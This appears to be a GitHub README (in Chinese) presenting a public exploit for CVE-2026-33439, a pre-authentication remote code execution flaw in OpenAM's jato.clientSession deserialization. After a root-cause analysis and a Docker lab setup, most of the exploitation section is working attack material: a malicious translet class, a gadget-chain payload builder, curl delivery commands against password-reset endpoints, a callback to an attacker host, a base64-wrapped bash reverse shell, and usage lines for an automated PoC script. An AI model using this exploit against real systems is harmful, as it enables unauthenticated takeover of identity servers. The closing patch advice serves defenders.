TheMalwareGuardian/CVE-2026-33439

GitHub: TheMalwareGuardian/CVE-2026-33439

首个公开的 CVE-2026-33439 漏洞利用实现,通过 OpenAM jato.clientSession 反序列化路径实现预认证远程代码执行。

Stars: 0 | Forks: 0

# ***🐞 CVE-2026-33439: 通过 jato.clientSession 反序列化实现 OpenAM 预认证 RCE***

人工洞察 + AI 辅助分析 + 逆向工程 + 安全通告 → 漏洞利用

首个公开共享的 CVE-2026-33439 漏洞利用实现

ForgeRock OpenAM 中存在未经认证的 Java 反序列化漏洞,允许通过精心构造的 JATO 会话对象实现完全的远程代码执行。同一条河流流了两次,他们修复了 jato.pageSession (CVE-2021-35464) 却忘记了 jato.clientSession (CVE-2026-33439)。反序列化 Gadget Chain 可不会索要凭证。

## ***📑 目录***
## ***🎯 概述*** CVE-2026-33439 是 OpenIdentityPlatform OpenAM(16.0.6 之前的版本)中的一个预认证远程代码执行(RCE)漏洞。该漏洞源于 `ClientSession.deserializeAttributes()` 中对 `jato.clientSession` HTTP 参数进行了不安全的 Java 反序列化,该过程在没有应用类白名单的情况下调用了 `Encoder.deserialize()` → `ApplicationObjectInputStream.readObject()`。 未经认证的攻击者向任何 JSP 包含 `` 标签的 JATO ViewBean 端点发送包含序列化 Java 对象的精心构造的 HTTP GET 或 POST 请求。服务器收到请求后,在未进行验证的情况下反序列化该对象,触发了一个完全由 OpenAM WAR 包中自带的类构成的 Gadget Chain——无需外部库——并以应用程序进程用户的身份执行任意操作系统命令。
## ***🧬 CVE-2021-35464 谱系*** 该漏洞是 CVE-2021-35464 修复不完全导致的直接回退。 - **[CVE-2021-35464](https://nvd.nist.gov/vuln/detail/CVE-2021-35464)** (ForgeRock AM / OpenAM):通过不安全的 `jato.pageSession` 参数反序列化实现预认证 RCE。在野外被广泛利用;已被 CISA KEV 收录。修复方案在 `ConsoleViewBeanBase.deserializePageAttributes()` 中引入了 `WhitelistObjectInputStream`——这是一个自定义的 `ObjectInputStream` 子类,它在实例化每个类名之前,会检查其是否在约 40 个安全类的硬编码允许列表中。 - **[CVE-2026-33439](https://nvd.nist.gov/vuln/detail/CVE-2026-33439)** (OpenAM ≤ 16.0.5):该修复仅应用于 `jato.pageSession`。而由 `ClientSession.deserializeAttributes()` 中完全独立的代码路径处理的 `jato.clientSession` 参数从未被修补,仍然使用未经过滤的 `Encoder.deserialize()` → `ApplicationObjectInputStream`,该路径在没有类白名单的情况下调用了 `ObjectInputStream.readObject()`。 攻击原语是相同的。反序列化汇却不同。仅仅是参数名发生了改变。
## ***🔬 CVE-2026-33439 漏洞分析***
### ***根本原因*** JATO 将 UI 视图状态序列化为名为 `jato.pageSession` 和 `jato.clientSession` 的 HTTP 参数。当请求到达时,OpenAM 在渲染响应之前反序列化这些参数以恢复 UI 状态。这两个参数遵循完全不同的代码路径。 针对 `jato.pageSession` 的已修补代码路径(CVE-2021-35464 修复后): ``` // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject(); ``` 针对 `jato.clientSession` 的未修补代码路径(存在漏洞): ``` // ClientSession.java protected ClientSession(RequestContext context) { this.encodedSessionString = context.getRequest().getParameter("jato.clientSession"); } protected void deserializeAttributes() { if (this.encodedSessionString != null && this.encodedSessionString.trim().length() > 0) { this.setAttributes( (Map) Encoder.deserialize( // VULNERABLE - URL-safe base64 decode then plain ObjectInputStream Encoder.decodeHttp64(this.encodedSessionString), false) ); } } ``` *Encoder.deserialize()* 构造了一个普通的 *ApplicationObjectInputStream*——这是 *ObjectInputStream* 的一个子类,没有进行任何类过滤。JVM classpath 上的任何类都可以被实例化。每当渲染 *< jato:form >* 标签时,JSP 渲染期间就会触发反序列化: ``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes() ```
### ***受影响版本*** | 产品 | 受影响 | 已修复 | |-----------------------------|-------------------------------------------------|--------| | OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 | | ForgeRock AM (下游) | 可能受影响,取决于补丁继承情况 | - |
### ***攻击面*** 任何 JSP 包含 *< jato:form >* 标签的 JATO ViewBean 端点都可以在预认证阶段被利用: | 端点 | 用途 | |---------------------------|--------------------------------------| | /ui/PWResetUserValidation | 密码重置 - 用户身份输入 | | /ui/PWResetQuestion | 密码重置 - 安全问题 | 密码重置端点是主要攻击目标,它们在设计上就是公开可访问的,并且一定会渲染 *< jato:form >* 标签。
## ***⚙️ Gadget Chain***
### ***Java 反序列化 101*** 当 Java 从字节流中反序列化一个对象时,它会在重建的每个类(包括嵌套对象)上调用 `readObject()`。如果攻击者控制了字节流并注入一个对象,该对象的 `readObject()` 会触发一系列最终导致代码执行的方法调用,他们就实现了 Gadget Chain RCE。 CVE-2026-33439 的关键洞察是:该 Gadget Chain 不需要外部库。链中的每个类都打包在 OpenAM WAR 自身中:`openam-core-16.0.5.jar、xalan-2.7.3.jar 和 click-nodeps-2.3.0.jar`。这使得该漏洞在任何默认的 OpenAM 部署上都可以被利用。
### ***Encoder.decodeHttp64*** 这是使漏洞利用生效的关键细节。`jato-shaded-16.0.5.jar` 中的 `Encoder` 类使用的是 Java 的 URL 安全 base64 编码器/解码器——不是标准 base64,也不是自定义的字符替换方案。 通过反编译 Encoder.class 验证: ``` # 从 JATO JAR 中提取 Encoder.class jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class # 反编译并检查 decodeHttp64 javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64" ``` ``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn ``` URL 安全 base64 使用 `-` 代替 `+`,使用 `_` 代替 `/`,且没有填充字符 `=`。正确的编码方式为: ``` Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes) ``` 任何其他编码方式,包括标准 base64 或手动字符替换,都会导致 `decodeHttp64()` 抛出异常或产生损坏的字节,从而在没有 HTTP 响应错误提示的情况下静默中止反序列化。
### ***Gadget Chain 内部机制*** 完整链路,仅使用 OpenAM WAR 中的类: ``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd) ``` ``` # 从 JAR 中提取 Column$ColumnComparator.class jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' # 反编译并检查 compare() 方法,发现在 getProperty() 之前调用了 getTable() javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare" # 提取并检查 Column.class,发现 getProperty() 和 setTable() 方法 jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator" ``` **关键细节:** "Column$ColumnComparator.compare()" 在调用 "getProperty()" 之前会调用 "column.getTable().isSortedAscending()"。如果 "getTable()" 返回 null,链路将在到达 "TemplatesImpl" 之前因 "NullPointerException" 中止。在序列化之前,必须通过 "column.setTable(table)" 将一个 "Table" 对象关联到 "Column"。
## ***🧪 实验环境***
### ***架构*** ``` ┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘ ``` | 容器 | 镜像 | 角色 | |-------------------------|------------------------------------------|-------------------| | cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | 漏洞目标 | | cve_2026_33439_attacker | debian:bookworm-slim | 攻击机 |
### ***设置***

**步骤 1 - 下载官方 OpenAM 16.0.5 WAR** ``` # 从主机上的 PowerShell cd "01 Vulnerable" Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war" ``` **步骤 2 - 启动容器** ``` docker compose up -d ``` **步骤 3 - 从浏览器配置 OpenAM** 导航到 "http://localhost:8080/openam",点击 "Create Default Configuration" 并设置: | 字段 | 值 | |---------------------------------|---------------| | Default User Password (amadmin) | Lab@dm1n2026! | | Agent Password | secret12 | 等待约 2 分钟以完成配置。 **步骤 4 - 确认已启用密码重置** 以 amadmin 登录 → Configure → Global Services → Password Reset → 启用开关 → Save Changes。 **步骤 5 - 识别可利用的 JSP 端点** 在 WAR 中查找所有包含 *< jato:form >* 标签的 JSP,这些是触发 jato.clientSession 反序列化的端点: ``` # 识别所有包含 标签的 JSP - 这些是反序列化接收器 docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam # 检查 web.xml 以了解密码重置 servlet 是如何映射到 HTTP 路由的 docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password" ``` 检查 JSP 源码以了解为何 `jato.clientSession` 可能不会出现在渲染的 HTML 中。`` 标签被包裹在 `` 内,仅当 ViewBean 激活该块时才会渲染。然而,位于 JSP 顶部的 `` 总是会实例化 ViewBean 并在决定渲染哪些块之前处理 `jato.clientSession`——此时反序列化已经发生: ``` docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp ``` ``` <%-- Always instantiates ViewBean and processes jato.clientSession --%> <%-- Only renders if ViewBean activates this block --%> <%-- jato.clientSession hidden field appears here --%> ``` **步骤 6 - 验证端点可在预认证阶段访问** ``` (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato" ```
### ***访问*** ``` # 进入攻击者容器 docker exec -it cve_2026_33439_attacker bash ``` 拆除环境: ``` # 停止,保留卷 docker compose down # 完全清除 docker compose down -v ```
## ***💣 漏洞利用***
### ***前置条件***

| 要求 | 备注 | |------------------------|----------------------------------------------------------------------------------------------------------------------------------| | JDK 21 (javac) | 必须与运行 OpenAM 的 JVM 版本匹配。仅有 JRE 是不够的,需要 javac 来编译 EvilTranslet 和 PayloadBuilder | | openam-core-16.0.5.jar | 从 OpenAM 容器复制 - 包含 Column、Column$ColumnComparator、PropertyUtils | | xalan-2.7.3.jar | 从 OpenAM 容器复制 - 包含 TemplatesImpl、TransformerFactoryImpl | | serializer-2.7.3.jar | 从 OpenAM 容器复制 - 包含 EvilTranslet 使用的 SerializationHandler | | click-nodeps-2.3.0.jar | 从 OpenAM 容器复制 - 包含 Table(Column$ColumnComparator 需要) | | click-extras-2.3.0.jar | 从 OpenAM 容器复制 - click-nodeps 的传递依赖 | | jato-shaded-16.0.5.jar | 从 OpenAM 器复制 - 包含带有 decodeHttp64 的 Encoder | | servlet-api.jar | 从 Tomcat lib/ 复制 - Table 序列化所需的 Jakarta Servlet API | | Python 3.8+ | 用于 PoC 脚本 | | requests | pip install requests |
### ***发现与侦察*** **步骤 1 - 确认 OpenAM 正在运行并识别版本** ``` http://localhost:8080/openam/ccversion/Version ``` **步骤 2 - 探测 JATO ViewBean 端点** ``` for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \ "http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe") echo "[HTTP ${STATUS}] ${ENDPOINT}" done ``` **步骤 3 - 确认 jato.clientSession 被处理** ``` curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato" ``` 响应中将包含 "jato.defaultCommand" 和 "jato.pageSession",但不会在渲染的 HTML 中包含 "jato.clientSession",这是预期行为。"jato.clientSession" 字段仅出现在 *< jato:content name="resetPage" >* 内,这需要 ViewBean 激活该块。然而,*< jato:useViewBean >* 总是会实例化 ViewBean 并在决定渲染哪些块之前处理 "jato.clientSession"。无论该字段是否出现在最终的 HTML 输出中,反序列化都会在实例化时触发。响应中 "jato.pageSession" 的存在证实了 JATO 序列化在此端点上处于活动状态,并且 "jato.clientSession" 将在下一次请求中被反序列化。
### ***理解编码机制*** 在构建漏洞利用程序之前,必须通过反编译 JATO JAR 来验证 "Encoder.decodeHttp64()" 所使用的编码。此步骤至关重要,使用错误的编码会导致静默的反序列化失败。 **步骤 1 - 将所有必需的 JAR 从 OpenAM 复制到攻击者工作区** 从宿主机的 PowerShell 中执行: ``` docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/ ``` **步骤 2 - 反编译 Encoder 以验证解码方法** 从攻击者容器内部执行: ``` # 从 JATO JAR 中提取 Encoder.class jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class # 反编译并检查 decodeHttp64 javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64" ``` 确认是 URL 安全 base64 的预期输出: ``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn ``` **步骤 3 - 反编译 Column$ColumnComparator 以验证 Gadget Chain 路径** ``` # 提取 Column 和 ColumnComparator jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class # 验证 compare() 在 getProperty() 之前调用 getTable() javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare" ``` 这确认了 Column.getTable() 必须返回一个非 null 的 Table 对象,否则 compare() 将在到达 getProperty() → TemplatesImpl 之前抛出 NullPointerException。
### ***构建漏洞利用程序*** 所有命令均在攻击者容器内部执行。 **步骤 1 - 设置 classpath** ``` CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work ``` **步骤 2 - 编写并编译 EvilTranslet.java** EvilTranslet 扩展了 AbstractTranslet(TemplatesImpl 要求)并在静态初始化器中执行命令,该初始化器在 newInstance() 时自动运行。 ``` cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM; public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF javac -cp $CP /work/EvilTranslet.java ``` **步骤 3 - 编写并编译 PayloadBuilder.java** PayloadBuilder 构建 Gadget Chain 并输出经 URL 安全 base64 编码的序列化 Payload。 ``` cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue; public class PayloadBuilder { // Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder) static String encodeHttp64(byte[] data) { return Base64.getUrlEncoder().withoutPadding().encodeToString(data); } static void setField(Object obj, String name, Object value) throws Exception { Field f = obj.getClass().getDeclaredField(name); f.setAccessible(true); f.set(obj, value); } static void setFieldPQ(Object obj, String name, Object value) throws Exception { Field f = PriorityQueue.class.getDeclaredField(name); f.setAccessible(true); f.set(obj, value); } public static void main(String[] args) throws Exception { byte[] bytecode = Files.readAllBytes(Paths.get(args[0])); // Step 1 - TemplatesImpl with EvilTranslet bytecode // getOutputProperties() -> defineTransletClasses() -> newInstance() -> TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{ bytecode }); setField(templates, "_name", "EvilTranslet"); setField(templates, "_tfactory", new TransformerFactoryImpl()); setField(templates, "_transletIndex", 0); // Step 2 - Column with Table associated // Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null. Table table = new Table(); Column column = new Column("outputProperties"); column.setTable(table); @SuppressWarnings("unchecked") Comparator comparator = (Comparator) column.getComparator(); // Step 3 - PriorityQueue as deserialization trigger // readObject() -> heapify() -> siftDown() -> comparator.compare() // Size must be >= 2 for heapify to call compare() PriorityQueue queue = new PriorityQueue<>(2, comparator); setFieldPQ(queue, "queue", new Object[]{ templates, templates }); setFieldPQ(queue, "size", 2); // Step 4 - Serialize and URL-safe base64 encode ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(queue); oos.close(); System.out.println(encodeHttp64(baos.toByteArray())); } } EOF javac -cp $CP /work/PayloadBuilder.java ``` **步骤 4 - 生成 Payload** ``` java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64 # 验证它是否以 Java 序列化魔术字节(rO0A = base64 中的 \xACED\x00\x05)开头 head -c 10 /work/payload.b64 ```
### ***Payload 投递*** **通过带外 HTTP 回调确认 RCE**

终端 1 - 监听器: ``` docker exec -it cve_2026_33439_attacker bash nc -lvnp 9999 ``` 终端 2 - 生成并发送回调 Payload: ``` docker exec -it cve_2026_33439_attacker bash cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM; public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work javac -cp $CP /work/EvilTranslet.java java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64 PAYLOAD=$(cat /work/payload_http.b64) curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato." ``` 如果 RCE 成功,终端 1 将接收到来自 OpenAM 服务器的传入 HTTP 连接: ``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: */* ``` **写入文件痕迹**

``` cat > /work/EvilTranslet.java << 'EOF' import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM; public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work javac -cp $CP /work/EvilTranslet.java java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64 PAYLOAD=$(cat /work/payload_file.b64) curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato." ``` 从 PowerShell 验证: ``` docker exec cve_2026_33439_openam ls -la /tmp/pwned ``` **反弹 Shell**

终端 1 - 监听器: ``` docker exec -it cve_2026_33439_attacker bash nc -lvnp 4444 ``` 终端 2 - 投递: ``` docker exec -it cve_2026_33439_attacker bash CMD='bash -i >& /dev/tcp/attacker/4444 0>&1' B64CMD=$(echo "$CMD" | base64 -w 0) cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM; public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work javac -cp $CP /work/EvilTranslet.java java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64 PAYLOAD=$(cat /work/payload_shell.b64) curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato." ```
### ***PoC 工具使用***

Python 脚本自动化了整个链路:编译 EvilTranslet,通过 PayloadBuilder 构建 Gadget Chain,使用 URL 安全 base64 进行编码,并发送投递。 ``` # 首先将 JAR 复制到 exploit 目录 [attacker@lab /work]$ touch Exploit_CVE_2026_33439.py vi Exploit_CVE_2026_33439.py python3 Exploit_CVE_2026_33439.py --help python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned" python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/ python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080 ```
## ***🛡️ 缓解措施*** - **补丁:** 升级至 **OpenAM 16.0.6** 或更高版本。该修复将 WhitelistObjectInputStream 扩展到了 ClientSession.deserializeAttributes(),与 CVE-2021-35464 之后应用于 ConsoleViewBeanBase.deserializePageAttributes() 的保护机制相匹配。
## ***📚 参考*** - **[CVE-2026-33439 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-33439)** - **[GitHub 安全通告 GHSA-2cqq-rpvq-g5qj](https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj)** - **[CVE-2021-35464 - ForgeRock AM 预认证 RCE](https://nvd.nist.gov/vuln/detail/CVE-2021-35464)** - **[ForgeRock OpenAM 中的预认证 RCE - PortSwigger Research](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)** - **[CWE-502 - 不受信任数据的反序列化](https://cwe.mitre.org/data/definitions/502.html)**
标签:CISA项目, CVE-2021-35464, CVE-2026-33439, ForgeRock, Gadget Chain, IAM, jato.clientSession, jato.pageSession, Java反序列化, JS文件枚举, OpenAM, PoC, RCE, Web安全, 云资产清单, 攻击链, 数据展示, 暴力破解, 漏洞分析, 红队, 编程工具, 网络安全, 蓝队分析, 请求拦截, 路径探测, 身份与访问管理, 远程代码执行, 逆向工具, 逆向工程, 隐私保护, 零日漏洞, 预认证